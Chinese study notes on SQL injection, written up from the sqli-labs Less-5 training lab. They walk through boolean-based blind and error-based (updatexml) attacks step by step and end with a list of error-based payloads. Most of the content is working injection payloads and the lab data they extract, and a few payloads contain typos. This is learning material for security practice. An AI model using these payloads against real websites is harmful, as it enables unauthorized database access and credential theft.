SQL注入基础(二) 1
4.1.6Boolean(布尔)注入攻击
sqli-labs的Less-5
发现在1=1是返回you are in,1=2时无返回值,而并不是返回具体数据。所以判断本题为布尔型注入攻击。
payload:?id=1’and 1=2–+
注入攻击步骤
1.判断数据库版本。
判断数据库版本。
可以使用left(version(),1)=5
判断数据库的版本号第一位数字是否是5
2.判断数据库长度
length(database())=8
3.猜测数据库名
left(database(),1)=‘a’
推荐使用substr(database(),1,1)='s’这种方式
以为left函数无法进行每个字符分别爆破
例如lef(database(),2)为测试第一和第二两个字符
而substr可以分别测试每个字符
这一步可以使用burp进行爆破
3.1第一种函数
按照编号库名为“security”
3.2第二种函数
left()函数可以使用二分法进行叫快速的爆破:
英文字母有26个
a b c d e f g h i j k l m
n o p q r s t u v w x y z
- 第一步可一线判断第一位字符是否大于m
payload:'and left(database(),1)>‘m’–+ ,可以看到有返回内容。
既然有返回内容那么我们可以测试是否大于’s’。
无返回内容,测试是否小于’s’。
也没有返回内容,那么可以判断出第一位字符为‘s’。
‘
- 第二步测试前两位字符
payload:‘and left(database(),2)>‘sm’–+ .
无返回值,说明第二位字符在[a~m]中。
测试’sf’。
测试’sc’。
发现有返回值,那么大于’c’小于’f’的只有’d’,‘e’。测试’d’。
不等于’sd’,那么前两位字符为’se’。
其他六位字符用同样的方法进行测试,可以爆破出库名为’security’。
4.判断表名
payload:
?id=1’and substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1)>‘m’–+
limit 0,1 取得是第一个表,第二个表1,1
substr(x,1,1)取得是x的第一位字符。
使用burp进行爆破
整理后可得知
表结构为:
emails |
---|
referers |
uagents |
users |
5.判断列明
方法1:
如果我们想要查询users表
payload1:
?id=1’and substr((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 0,1),1,1)
使用burp进行爆破
整理后等到列名
id |
---|
username |
password |
6.判断数据
payload:
?id=1’and substr((select username from security.users limit 0,1),1,1)=‘a’–+
整理后得到:
id | username | password |
---|---|---|
1 | Dumb | Dumb |
2 | Angelina | I-kill-you |
3 | Dummy | P@ssword |
4 | secure | crappy |
5 | stupid | stupidity |
6 | superman | genious |
7 | batman | mob!le |
8 | admin | admin |
9 | admin1 | admin1 |
10 | admin2 | admin2 |
11 | admin3 | admin3 |
12 | dhakkan | dumbo |
14 | admin4 | admin4 |
4.1.8报错注入攻击
Less-5
第一步·爆破库名
payload1:
?id=1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 7,1),0x7e),1)--+
/*payload1会将所有数据库名全部输出,但是报错注入只能输出一个,所以使用limit遍历出所有数据库名称。*/
payload2:
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
/*payload2只是将查询内容更换成database(),查询的是当前使用的数据库。*/
第二步·爆破表名
payload:
?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)--+
/*更改limit 0,1以爆出所有表名。*/
第三步·爆破列名
payload:
?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),0x7e),1)--+
第四步·获取数据信息
payload:
?id=1' and updatexml(1,concat(0x7e,(select username from security.users limit 1,1),0x7e),1)--+
/*可以将username更改为password、id,更换limit 0,1来获取全部数据。*/
可用于报错注入的payload:
UpdateXml报错:
updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
ExtractValue报错:
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)))--+
floor报错:
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
join报错:
and select * from(select * from mysql.user ajoin mysql.user b)c--+
exp报错:
and EXP(~(SELECT * from(select user())a))--+
SQL注入基础是在学习“MS08067安全攻防实验室”出版的《Web安全攻防》以及配套视频的同时,以sqli-labs为课后作业进行记录整理的笔记。文中的知识点是从书籍、视频、网络中搜集的。 ↩︎